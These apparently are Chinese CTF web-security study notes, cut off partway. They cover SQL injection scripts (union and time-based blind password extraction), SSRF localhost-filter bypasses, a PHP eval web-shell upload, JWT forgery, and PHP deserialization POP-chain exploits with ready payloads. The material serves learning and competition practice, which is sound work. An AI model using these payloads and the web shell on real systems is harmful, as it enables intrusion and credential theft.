#payload = "1' uNion Select ((sElect gRoUp_cOnCat(column_name) From infOrmation_schema.columns WHeRe Table_name='here_is_flag')),2,3,4,5%23"
payload = "1' uNion Select ((sElect gRoUp_cOnCat(flag) From here_is_flag)),2,3,4,5%23"
res = requests.get(url + payload)
print(res.text)

(2)时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
url = 'http://eci-2ze6irbn0iiiic2wnub2.cloudeci1.ichunqiu.com/index.html'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
time.sleep(0.2)
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
#把payload里password换成username打username
datas = {
"username":"1",
"password": payload
}
# print(datas)
start_time=time.time()
res = requests.post(url=url,data=datas) #json=data
end_time=time.time()
spend_time=end_time-start_time
if spend_time>=0.4: #这里需要调一下。要先跑几次必会延迟的请求测试一下平均延时。
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
print('\n'+bytes.fromhex(flag).decode('utf-8'))

(3)布尔盲注

[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day2 Web1]Hack World)

XXS

存储型

反射型

DOM型

针对CSS的XSS

XXE和SSRF

主要是提一下原理和模板

XML

第三届黄河流域公安院校网络安全技能挑战赛 web 全解 - LamentXU - 博客园

利用BCEL字节码构造内存马 - F12~ - 博客园

里面的上传XML文件进行RCE

SSRF

127.0.0.1

sudo.cc

url=http://0/flag.php(host位数小于三)
url=http://127.1/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php

1
2
<?php header("Location: http://127.0.0.1/flag.php");
# POST: url=http://your-domain/ssrf.php

如果限制host小于5

1
2
url=http://0/flag.php
url=http://127.1/flag.php

gethostbyname 是一个简单且实用的函数,用于将主机名解析为 IP 地址

php

1
2
3
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!'); // 如果 IP 无效或属于私有或保留范围,终止脚本并输出 'ip!'
}
  1. filter_var($ip, FILTER_VALIDATE_IP):
    • 这个函数用于验证 $ip 是否是一个有效的 IP 地址(IPv4 或 IPv6)。
  2. FILTER_FLAG_NO_PRIV_RANGE:
    • 这是一个过滤标志,表示 filter_var 应该拒绝私有 IP 地址。
    • 私有 IP 地址范围包括:
      • 10.0.0.0 - 10.255.255.255
      • 172.16.0.0 - 172.31.255.255
      • 192.168.0.0 - 192.168.255.255
  3. FILTER_FLAG_NO_RES_RANGE:
    • 这是一个过滤标志,表示 filter_var 应该拒绝保留 IP 地址。
    • 保留 IP 地址范围包括:
      • 127.0.0.0 - 127.255.255.255 (本地回环地址)
      • 169.254.0.0 - 169.254.255.255 (链路本地地址)
      • 其他特殊用途的 IP 地址(如 0.0.0.0 等)
1
2
3
<?php 
header("Location: http://127.0.0.1/flag.php");
?>
1
2
3
4
5
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){    
echo file_get_contents($url);
}

url=http://ctf.@127.0.0.1/flag.php?show
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
						 parse_url()  

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果-----------------------------------------------------------------------------------
Array
(
[scheme] => http
[host] => hostname //
[user] => username @前
[pass] => password @前
[path] => /path /
[query] => arg=value ?以后的key=value
[fragment] => anchor #以后的部分
)
/path

禁止了所有字母和.,那么我们使用2130706433来表示127.0.0.1

[BUUCTF在线评测](https://buuoj.cn/challenges#[HITCON 2017]SSRFme) SSRFME

1
2
3
4
5
http://c9f6fe87-ec4b-42d3-9b16-a372427cc0a0.node5.buuoj.cn:81/?url=data:text/plain,%27%3C?php%20@eval($_POST[%27capt%27])?%3E%27&filename=upload/test.php


http://c9f6fe87-ec4b-42d3-9b16-a372427cc0a0.node5.buuoj.cn:81/sandbox/50d5f583d8a911dde39156ba3f03c3d5/upload/test.php

蚁剑连接即可

[NSSRound#20 Basic]CSDN_To_PDF V1.2 | NSSCTF

JWT

认识JWT - 废物大师兄 - 博客园

重要工具就是C-JWT-Cracker(爆破Key)和无影(解码和构造),当然你用在线工具也是可以的()

概念

JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息

应用场景

  • Authorization (授权) : 这是使用JWT的最常见场景。一旦用户登录,后续每个请求都将包含JWT,允许用户访问该令牌允许的路由、服务和资源。单点登录是现在广泛使用的JWT的一个特性,因为它的开销很小,并且可以轻松地跨域使用
  • Information Exchange (信息交换) : 对于安全的在各方之间传输信息而言,JSON Web Tokens无疑是一种很好的方式。因为JWTs可以被签名,例如,用公钥/私钥对,你可以确定发送人就是它们所说的那个人。另外,由于签名是使用头和有效负载计算的,您还可以验证内容没有被篡改

格式

组成为:

header.payload.signature

Header

header典型的由两部分组成:token的类型(“JWT”)和算法名称(比如:HMAC SHA256或者RSA等等)

Payload

JWT的第二部分是payload,它包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, public 和 private

  • Registered claims : 这里有一组预定义的声明,它们不是强制的,但是推荐。比如:iss (issuer), exp (expiration time), sub (subject), aud (audience)等
  • Public claims : 可以随意定义
  • Private claims : 用于在同意使用它们的各方之间共享信息,并且不是注册的或公开的声明

Signature

为了得到签名部分,你必须有编码过的header、编码过的payload、一个秘钥,签名算法是header中指定的那个,然对它们签名即可

HMACSHA256(base64UrlEncode(header) + “.” + base64UrlEncode(payload), secret)

下面给个例子:

工作方式

(图扒上面那个博客里的)

其实就类似Cookie

服务器上的受保护的路由将会检查Authorization header中的 JWT 是否有效,如果有效,则用户可以访问受保护的资源

CTF中的应用

主要就是,你可以伪造成admin访问

比如改什么username或者role,再比如爆破一个key,然后带着那个key再去构造admin,这点在下文的 ikun 中有所体现

反序列化漏洞

主要是Php

php反序列化完整总结-先知社区

PHP反序列化从初级到高级利用篇 - fish_pompom - 博客园

PHP之序列化与反序列化(POP链篇)_php反序列化pop链-CSDN博客

PHP 反序列化基础完全解析-先知社区

为什么需要序列化

当需要将 PHP 中的复杂数据类型(如数组、对象等)存储到文件、数据库或其他存储介质中时,序列化可以把它们转换为一种可存储的线性字符串格式。以对象为例,如果不进行序列化,直接存储可能会面临数据结构难以保存、存储效率低下等问题。而序列化后,可以完整地保存对象的状态和结构,之后再通过反序列化恢复成原来的对象

简单来说,PHP 文件在执行结束以后就会将对象销毁,为了长久保存对象,就序列化,要用的时候就反序列化一下就好了

E.g

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class test{

public $name = 'miHoYo';
private $game = 'xingbugudi';
protected $age = '0';

}

$test1 = new test();

$object = serialize($test1);

print_r($object);

?>


//O:4:"test":3:{s:4:"name";s:6:"miHoYo";s:10:"testgame";s:10:"xingbugudi";s:6:"*age";s:1:"0";}

关键函数 serialize():将PHP中创建的对象,变成一个字符串

private属性序列化的时候格式是 %00类名%00成员名

protected属性序列化的时候格式是 %00%00成员名*

关键要点:

在Private 权限私有属性序列化的时候格式是 %00类名%00属性名

在Protected 权限序列化的时候格式是 %00%00属性名*

然后这里的Private和Protected不可以在外部调用更不能修改赋值,这个时候就需要利用构造函数以及在内部修改

你可能会发现这样一个问题,你这个类定义了那么多方法,怎么把对象序列化了以后全都丢了?你看你整个序列化的字符串里面全是属性,就没有一个方法,这是为啥?

序列化只序列化属性,不序列化方法

  • 反序列化的时候需要依托环境,因为不序列化方法,所以不能脱离作用域(类似解压缩)
  • 反序列化是依托属性来进行攻击

原理

PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,是因为程序对输入数据处理不当导致的

反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击

前提

要用 unserialize() 函数,且进行反序列化的参数必须可控

在我们的攻击中,反序列化函数 unserialize() 是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现 unserialize() 函数的类的对象

但是反序列化只是控制了是属性,如果人家本身就是要反序列化后调用该类的某个安全的方法,我们又无法直接更改别人写好的代码,这时就素手无策了

这是就有魔法方法的出现了,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,只要里面出现了我们可以利用的函数,我们就可以操控其对象属性的值来操控函数,进而达到攻击目的

反序列化标识:

1
2
3
4
5
6
7
8
9
10
11
12
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

魔法方法

对于php高版本来说,以下有些函数已被弃用,但是在CTF中仍会出现()

__isset()

当对不可访问(比如私有、受保护或者未定义)的类属性调用 isset() 或者 empty() 函数时,__isset() 方法会被自动调用。它允许你自定义当检查这些不可直接访问属性是否存在时的行为(就是布尔类型,看括号里的存不存在)

假设有一个 Person 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Person {
private $name;
private $age;

public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}

public function __isset($name) {
// 检查属性是否存在
return isset($this->$name);
}
}

$person = new Person('张三', 20);
var_dump(isset($person->name)); // 通过 __isset() 方法间接检查,结果为 bool(true)
var_dump(isset($person->address)); // 结果为 bool(false),因为 address 属性不存在

__wakeup

  • __sleep() 相对应,当对象被反序列化时,__wakeup() 魔术方法会被自动调用

  • 主要用于在反序列化时重新初始化对象可能需要的资源。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    class ResourceHandler
    {
    private $resource;
    public function __construct()
    {
    $this->resource = fopen("example.txt", "r");
    }
    public function __sleep()
    {
    fclose($this->resource);
    return array("resource");
    }
    public function __wakeup()
    {
    $this->resource = fopen("example.txt", "r");
    }
    }
    $resourceHandler = new ResourceHandler();
    $serializedResource = serialize($resourceHandler);
    $deserializedResource = unserialize($serializedResource);

    在这个例子中,当对象被反序列化时,__wakeup() 方法会被调用,重新打开文件资源

__construct

  • 当创建一个对象时,它会被自动调用

  • 构造方法用于在创建对象时初始化对象的属性等操作。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    class Person
    {
    public $name;
    public function __construct($name)
    {
    $this->name = $name;
    }
    }
    $person = new Person("Alice");
    //$person -> name = "Alice";

    在上面的例子中,当创建 Person 类的实例 $person 时,__construct() 方法被调用,将传入的参数 "Alice" 赋值给对象的 $name 属性

__destruct

  • 这是 PHP 面向对象编程中的析构方法。当对象被销毁时,它会被自动调用

  • 析构方法通常用于执行清理工作,如关闭数据库连接、释放资源等。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    class DatabaseConnection
    {
    private $connection;
    public function __construct()
    {
    $this->connection = mysqli_connect("localhost", "user", "password", "database");
    }
    public function __destruct()
    {
    mysqli_close($this->connection);
    }
    }
    $db = new DatabaseConnection();

    在这个例子中,当 $db 对象的生命周期结束(如脚本执行完毕或者对象被显式销毁)时,__destruct() 方法会被调用,关闭数据库连接

__sleep()

  • 这个魔术方法用于在对象被序列化时执行一些操作。当使用 serialize() 函数来序列化对象时,__sleep() 会被自动调用

  • 它通常用于清理对象,如关闭对象中的资源句柄或者指定对象中哪些属性可以被序列化。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    class ResourceHandler
    {
    private $resource;
    public function __construct()
    {
    $this->resource = fopen("example.txt", "r");
    }
    public function __sleep()
    {
    fclose($this->resource);
    // 可以指定哪些属性可以被序列化
    return array("resource");
    }
    }
    $resourceHandler = new ResourceHandler();
    serialize($resourceHandler);

    在这个例子中,当对 ResourceHandler 对象进行序列化时,__sleep() 方法被调用,先关闭资源文件句柄

__get() & __set()

  • 在 PHP 面向对象编程中,get()set() 通常用于封装类的属性,提供对属性的受控访问

  • set() 方法:用于设置对象属性的值。它可以在设置属性值时添加额外的逻辑,如验证数据的有效性等。例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    class Product
    {
    private $price;
    public function setPrice($price)
    {
    if ($price >= 0) {
    $this->price = $price;
    } else {
    throw new Exception("Price cannot be negative");
    }
    }
    }
    $product = new Product();
    $product - > setPrice(100);

    在这个例子中,setPrice() 方法用于设置产品价格,同时检查价格是否为负数,如果是负数则抛出异常。

__call()

调用一个不存在的方法时,会触发 __call() 魔法方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Example
{
public function __call($name, $arguments)
{
echo "你调用了不存在的方法: $name\n";
echo "传递的参数是: " . implode(', ', $arguments) . "\n";
}
}

$obj = new Example();
$obj->someNonExistentMethod('参数1', '参数2');


#你调用了不存在的方法: someNonExistentMethod
#传递的参数是: 参数1, 参数2

假设我们有一个类 Example,其中定义了 __call() 方法,没有定义 someNonExistentMethod(),直接调用 someNonExistentMethod() 就会触发 __call()

__invoke()

  • 当一个对象被当作函数调用时,__invoke() 方法会被自动调用。这使得对象可以像函数一样被调用,提供了更多的灵活性,可以创建可调用的对象,这样的对象在某些场景下可以作为回调函数等使用。
1
2
3
4
5
6
7
8
9
10
11
12
13
class InvokableClass
{
public function __invoke($name)
{
echo "Hello, $name!";
}
}

// 创建对象
$obj = new InvokableClass();

// 像调用函数一样调用对象
$obj("PHP"); // 输出 "Hello, PHP!"

__toString()

在 PHP 中,__toString() 是一个魔术方法,用于定义对象被当作字符串使用时的返回值。当你尝试将一个对象转换为字符串(例如,直接将对象与字符串拼接,或者用 echo 输出对象)时,PHP 会自动调用该对象的 __toString() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class MyClass {
private $value;

public function __construct($value) {
$this->value = $value;
}

public function __toString() {
return $this->value;
}
}

$obj = new MyClass("Hello, World!");
echo $obj; // 输出: Hello, World!

触发条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

call_user_func_array()

1
call_user_func_array(callable $callback, array $param_array): mixed
  • 参数
    • $callback :要调用的回调函数,可以是函数名、类的方法、静态类方法等
    • $param_array :一个数组,包含要传递给回调函数的参数
  • 返回值 :返回回调函数的返回值

示例

1
2
3
4
5
6
7
8
9
10
class A {
public function test($name, $age) {
echo "Name: $name, Age: $age";
}
}

$obj = new A();
$params = ["Alice", 20];
call_user_func_array([$obj, 'test'], $params);
// 输出:Name: Alice, Age: 20

create_function()

create_function() 是 PHP 中的一个函数,用于创建匿名函数(也称为 lambda 函数)。这个函数在 PHP 5.3.0 引入了匿名函数语法之前非常有用,但现在基本已被弃用

1
string create_function ( string $args , string $code )
  • 参数
    • $args :一个包含函数参数列表的字符串,参数之间用逗号分隔。例如:"$arg1, $arg2"
    • $code :一个包含函数主体代码的字符串
  • 返回值 :返回唯一的一个标识符(作为字符串),这个标识符可以用来调用所创建的函数

示例

1
2
3
4
5
6
7
8
9
// 创建一个简单的函数,将字符串转换为大写
$strToUpper = create_function('$str', 'return strtoupper($str);');
echo $strToUpper("hello world"); // 输出:HELLO WORLD

// 在 array_map 中使用
$array = ["apple", "banana", "cherry"];
$upperArray = array_map(create_function('$item', 'return strtoupper($item);'), $array);
print_r($upperArray);
// 输出:Array ( [0] => APPLE [1] => BANANA [2] => CHERRY )

parse_url()


调用顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class pompom{

private $name = "pompom";
function __construct(){
echo "__construct";
echo "</br>";
}
function __sleep(){
echo "__sleep";
echo "</br>";
return array("name");
}
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
function __toString(){
return "__toString"."</br>";
}
}

$pompom_old = new pompom();
$data = serialize($pompom_old);
file_put_contents("serialize-3.txt", $data);
$pompom_new = unserialize($data);
print($pompom_new);

输出结果应该是:

1
2
3
4
5
6
__construct
__sleep
__wakeup
__toString
__destruct
__destruct

两个__destruct()说明存在两个对象,一个是实例化时候创建的,一个是反序列化后生成的对象


利用魔法方法进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Pure {
private $test;
public $Pure = "i am Pure";
function __construct() {
$this->test = new L();
}

function __destruct() {
$this->test->action();
}
}

class L {
function action() {
echo "Welcome!";
}
}

class Evil {

var $test2;
function action() {
eval($this->test2);
}
}

unserialize($_GET['test']);

这里可以看到unserialize()是可控的,就可以利用反序列化,然后看类,第一个类触发时自动调用L()这个类,然后销毁时自动调用Evil(),然后我们看Evil这边有个eval()函数,里面执行的是test2,那我们在构造序列化的时候就可以给这个$test2赋值为恶意代码,然后Evil()触发的时候就会执行我这个恶意代码

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class Pure {
private $test;
public $Pure = "i am Pure";
}

class L {

}

class Evil {

var $test2 = "phpinfo()"; // system('ls /');

}

$a = new Pure();

echo serialize($a);

?>


php一般反序列化

[SWPUCTF 2021 新生赛]ez_unserialize | NSSCTF ez_unserialize

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

?>

可以看到类wllm中,__destruct()方法被重写,需要修改类成员变量内部值来获取flag,因为__destruct()方法是在对象被销毁是调用,由此我们先创建一个对象,给其成员赋值然后进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$aa = new wllm();
$aa->admin = "admin";
$aa->passwd = "ctf";
$stus = serialize($aa);
print_r($stus);
?>

得到序列化的结果

1
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

将结果传入/?p=O:4:“wllm”:2:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:3:“ctf”;}

最后得到flag


绕过__wakeup()

只需要令序列化字符串中标识变量数量的值大于实际变量即可绕过__wakeup()函数

攻防世界 Web_php_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

绕过__wakeup()和正则表达式,但是因为这里的private复制的话会丢失\00,所以直接才有代码中替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$obj = new Demo('fl4g.php');
$str = serialize($obj);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$str1 = str_replace('O:4', 'O:+4',$str);//绕过preg_match
$str2 = str_replace(':1:', ':2:',$str1);//绕过wakeup
var_dump($str2);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($str2));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

?var = TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==


php-Pop链

pop又称之为面向属性编程(Property-Oriented Programing),常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链

总结来说,就是一个接一个的调用,先找头和尾,然后看看魔术方法谁能互相触发,最后构造

来看个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

先找尾巴,很明显在w44m类中的Getflag()中,再顺着向前推,看看有没有什么可以调用Getflag()

看了一圈发现了w33m类中的__toString()中有个函数调用而且类名和函数名都是变量,那么这个__toString() 就和Getflag()连接起来了,再向前推,触发__toString()的条件是当一个对象被当作字符串处理,一看便看到了w22m中__destruct()

最后得到的pop链是:首–>w22m : : __destruct() –> w33m : : __toString() –>w44m : : Getflag()–>尾(flag)

分析完毕,接下来就是构造exp

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w33m();
$b = new w22m();
$c = new w44m();

$b->w00m = $a;
$a->w00m = $c;
$a->w22m = "Getflag";

echo urlencode(serialize($b)); //这个url可有可无

?>

ISCC2025 犯我大吴疆土

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
// 犯flag.php疆⼟者,盛必击⽽破之!
class GuDingDao {
public $desheng;
public function __construct() {
$this->desheng = array();
}
public function __get($yishi) {
$dingjv = $this->desheng;
$dingjv();
return "下次沙场相⻅, 徐某定不留情";
}
}
class TieSuoLianHuan {
protected $yicheng;
public function append($pojun) {
include($pojun);
}
public function __invoke() {
$this->append($this->yicheng);
}
}
class Jie_Xusheng {
public $sha;
public $jiu;
public function __construct($secret = 'reward.php') {
$this->sha = $secret;
}
public function __toString() {
return $this->jiu->sha;
}

public function __wakeup() {
if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->sha))
{
echo "你休想偷看吴国机密";
$this->sha = "reward.php";
}
}
}
echo '你什么都没看到?那说明……有东西你没看到<br>';
if (isset($_GET['xusheng'])) {
@unserialize($_GET['xusheng']);
} else {
$a = new Jie_Xusheng;
highlight_file(__FILE__);
}
// 铸下这铁链,江东天险牢不可破!

构造Payload

  1. 设置 TieSuoLianHuanyichengphp://filter/convert.base64-

encode/resource=flag.php (需URL编码)

  1. TieSuoLianHuan 实例赋值给 GuDingDaodesheng
  2. GuDingDao 实例赋值给 Jie_Xusheng (B) 的 jiu 属性
  3. Jie_Xusheng (B) 作为 Jie_Xusheng (A) 的 sha 属性
  4. 序列化对象A,确保属性命名和类名正确

LitCTF 2025]君の名は | NSSCTF

进去直接能看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

这边把O改成C可以用下面几个函数:

1
2
3
4
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize

就是在最后

$b = array("PusTR"=>$c)

(创建一个关联数组,将对象 $c 放入数组中并赋予键名为 "PusTR"。这个数组随后被用来创建一个 ArrayObject对象 $b,并被序列化输出,这里的键名随意,后面对象为前面反序列化对象)

$a = new ArrayObject($b);

回归源码:

先看开头的:

1
create_function("", 'die(`/readflag`);');

创建了一个匿名函数然后执行/readflag,所以这里我们需要调用这个匿名函数就可以输出flag

而匿名函数名字可以直接输出:

1
2
3
<?php 
$a = create_function("","die(` /readflag`);");
var_dump($a);

但是这边注意,每次刷新匿名函数的名字都会变,所以需要打开网站的第一次输入

知道了匿名函数的名字之后,我们还需要知道什么原生类可以调用匿名函数,又往下看:

1
2
3
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}

这边只有函数名是可控的,就是说需要调用一个无参函数

ReflectionFunctioninvoke方法可以调用函数,且无参

(借用一下官方WP中的图)

再往下看:

1
2
3
4
5
6
7
8
9
10
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}


public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}

这里的$func会被赋值为flag,然后$args中就是flag()括号里的值

分析完就很清晰了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class Taki
{
public $musubi;
public $magic = "invoke";
}

class Mitsuha
{
public $memory;
public $thread;
}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}

$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a -> musubi = $b;
$b -> thread = $c;
$c -> soul = $a; //调用不存在的$a->flag($c->kuchikamizake, $c->name),触发call

$d = array("PusTR"=>$a);
$e = new ArrayObject($d);

echo urlencode(serialize($e));


?>

#当 $a->musubi() 被调用时,实际上是在调用 $b,因为 $a->musubi 被设置为 $b
#$b 是一个 Mitsuha 类的实例,Mitsuha 类有一个 __invoke() 方法,因此 $b 可以像函数一样被调用
#$b->__invoke() 返回 $b->memory.$b->thread
#$b->thread 是 $c,因此 $b->__invoke() 返回 $b->memory.$c
#$c被当作字符串调用(拼接),触发__toString()




#Litctf2025=C%3A11%3A%22ArrayObject%22%3A245%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A5%3A%22PusTR%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BN%3Bs%3A6%3A%22thread%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7D%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D

(建议重开环境再传)


字符逃逸

[[安洵杯 2019]easy_serialize_php - LLeaves - 博客园](https://www.cnblogs.com/LLeaves/p/12813992.html#2. php反序列化字符逃逸)

安洵杯 2019]easy_serialize_php ——– 反序列化/序列化和代码审计_ctf 反序列化变量覆盖-CSDN博客

键值逃逸

  • 因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。
  • 并且反序列化会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号{}外的就都被扔掉。

php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,但是反序列化是有一定的识别范围的,比如:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
